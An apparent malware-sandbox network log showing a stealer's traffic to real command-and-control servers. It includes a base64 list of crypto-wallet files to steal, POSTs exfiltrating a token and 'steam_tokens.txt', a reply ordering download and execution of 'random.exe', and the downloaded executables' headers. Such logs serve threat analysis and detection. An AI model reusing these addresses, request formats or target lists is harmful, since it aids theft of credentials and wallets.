Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 9, 2024 22:09:53.419537067 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"files------JDAKJDAAFBKFHIEBFCFB--
Nov 9, 2024 22:09:53.699383020 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:53.715895891 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="file"------IECFBKFHCAEHJJKEGDGH--
Nov 9, 2024 22:09:54.483468056 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:54.511780024 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="message"ybncbhylepme------JDBFIIEBGCAKKEBFBAAF--
Nov 9, 2024 22:09:54.792530060 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49975	185.215.113.16	80	1848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:09:54.805941105 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 9, 2024 22:09:55.705091000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 09 Nov 2024 21:09:55 GMT Content-Type: application/octet-stream Content-Length: 3284992 Last-Modified: Sat, 09 Nov 2024 20:26:54 GMT Connection: keep-alive ETag: "672fc58e-322000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf02@`2H2@Wkd22 @.rsrc@.idata @tcfpemkwp+f+@aavgidyx 21@.taggant002"1@
Nov 9, 2024 22:09:55.705112934 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 9, 2024 22:09:55.705123901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 9, 2024 22:09:55.705180883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 9, 2024 22:09:55.705192089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 9, 2024 22:09:55.705203056 CET	1236	IN	Data Raw: 80 b2 69 90 b6 35 6a c8 71 35 ad f7 85 9c bd 10 0e 72 36 c8 51 42 82 72 ca 1e c0 16 c9 f6 41 d8 9f b2 69 90 16 35 6a c8 71 35 ad f7 85 9c 6d 10 4e 72 36 c8 51 6a 82 72 ca 1e a0 16 c9 f6 41 38 9f b2 69 90 76 35 6a c8 71 35 ad f7 85 9c 6d 10 be 72 Data Ascii: i5jq5r6QBrAi5jq5mNr6QjrA8iv5jq5mr6QrAi5jq5Qbr6QrAi65jq5es6Qr@AXi4jq5a6s6Q"r Ai4jq5as6QrAiV4jq5us6
Nov 9, 2024 22:09:55.705214977 CET	1236	IN	Data Raw: 51 d2 8d 72 ca 1e 80 13 c9 f6 41 18 f1 b2 69 90 56 48 6a c8 71 35 ad f7 85 9c 75 10 1a 70 36 c8 51 2a ba 72 ca 1e 60 13 c9 f6 41 78 f1 b2 69 90 b6 48 6a c8 71 35 ad f7 85 9c 6d 10 12 70 36 c8 51 02 ba 72 ca 1e c0 13 c9 f6 41 d8 f0 b2 69 90 16 48 Data Ascii: QrAiVHjq5up6Q*r`AxiHjq5mp6QrAiHjq5uBp6QZrA8ivHjq5up6QrAiHjq5up6QrAi6Hjq5ajp6QJr@AXiKjq5ufp6Qbr AiKj
Nov 9, 2024 22:09:55.705344915 CET	1236	IN	Data Raw: 71 35 ad f7 85 9c 85 10 aa 7f 36 c8 51 c2 85 72 ca 1e 20 2c c9 f6 41 b8 aa b2 69 90 f6 4f 6a c8 71 35 ad f7 85 9c 6d 10 32 7c 36 c8 51 ba 8f 72 ca 1e 80 2c c9 f6 41 18 a2 b2 69 90 56 4f 6a c8 71 35 ad f7 85 9c 59 10 e2 7c 36 c8 51 9a 8d 72 ca 1e Data Ascii: q56Qr ,AiOjq5m2\|6Qr,AiVOjq5Y\|6Qr`,AxiOjq5)J\|6Qr(AiOjq5m\|6Qr(A8ivOjq5a\|6Qr)AiOjq5\|6Qrr(Ai6Ojq5}6Qr@
Nov 9, 2024 22:09:55.705355883 CET	872	IN	Data Raw: 5d f7 69 03 87 9c 6b 10 fe a5 37 c8 a2 bd 16 cb ca 9e 3b bd 0d f6 c1 cf 5d f7 69 49 8e fa ac 13 54 01 35 c8 a2 00 05 cb ca af ac 62 ce a2 37 c8 a2 6e 16 cb ca 9e 9d a0 0d f6 c1 ab 5d f7 69 03 87 4f c9 1e 0c f6 c1 49 6d f7 69 10 ec 0e 35 c8 a2 3c Data Ascii: ]ik7;]iIT5b7n]iOImi5<5HCRi7i!TrfXf::{}F4MF6_s>2<i#Ng_&s?1wi=9Xu76Pu5Ai3iI
Nov 9, 2024 22:09:55.705364943 CET	1236	IN	Data Raw: a2 9e 67 c9 ca 3a ad f7 85 a3 e4 97 7b 7d fa 34 7b 36 ee 0d ce a6 a8 cd be f3 36 c8 2c f9 a7 cb 5f b3 61 49 8a f2 59 90 a5 e5 6c c8 47 32 61 8d cb 82 77 0f ca 7d b7 05 75 34 75 c8 86 3a ad f7 85 3a ad f7 85 3a ad f7 85 a3 e4 97 7b 7d fa 34 7b 36 Data Ascii: g:{}4{66,_aIYlG2aw}u4u:::{}4{66,_aIYelG2aJv}u4u:::XI^14u?=}w9` ?}w_)P::::Fmk>73}&0E_{/yX
Nov 9, 2024 22:09:55.710094929 CET	1236	IN	Data Raw: 90 e6 7b d0 5f bb d1 09 5f 37 ea a1 c9 e6 69 c8 18 e6 e4 72 96 75 ab e8 ff 37 ec 8b 95 75 f1 c4 1b d2 5b 1b a2 39 0d cb ca 75 b5 33 8b f0 11 32 0d f6 e4 8d 5e bb c5 2f 41 fb 69 c8 ca f6 52 0a 5f 13 5e 8e c1 f6 c1 7f 08 f5 69 f4 85 3a ad f7 85 3a Data Ascii: {__7iru7u[9u32^/AiR_^i::{}F0_6,Eu=o1hiI(4_2Pu4u::{}F0_6,Euo1hiI(4_r^:::

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50027	185.215.113.206	80	1848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:10:02.369592905 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIECBFIDGDAKFHIEHJKF--
Nov 9, 2024 22:10:03.752650976 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:10:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50127	185.215.113.43	80	8756	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:11:04.252736092 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 9, 2024 22:11:05.143531084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 09 Nov 2024 21:11:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50128	185.215.113.43	80	8756	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:11:06.665456057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50129	185.215.113.43	80	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:11:08.306444883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 9, 2024 22:11:09.211157084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 09 Nov 2024 21:11:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50130	185.215.113.43	80	8756	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:11:10.728075027 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 9, 2024 22:11:11.684525013 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 09 Nov 2024 21:11:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 31 35 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 31 35 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 31 35 33 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 31 35 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005151001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005152001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005153031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005154001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50131	185.215.113.16	80	8756	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:11:11.695338011 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 9, 2024 22:11:12.601313114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 09 Nov 2024 21:11:12 GMT Content-Type: application/octet-stream Content-Length: 3175424 Last-Modified: Sat, 09 Nov 2024 20:26:33 GMT Connection: keep-alive ETag: "672fc579-307400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 cf 0d 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@01@Th@ @.rsrc@@.idata @ebojhcaf**@welklphcp0L0@.taggant00"R0@
Nov 9, 2024 22:11:12.601386070 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 9, 2024 22:11:12.601397038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 9, 2024 22:11:12.601442099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
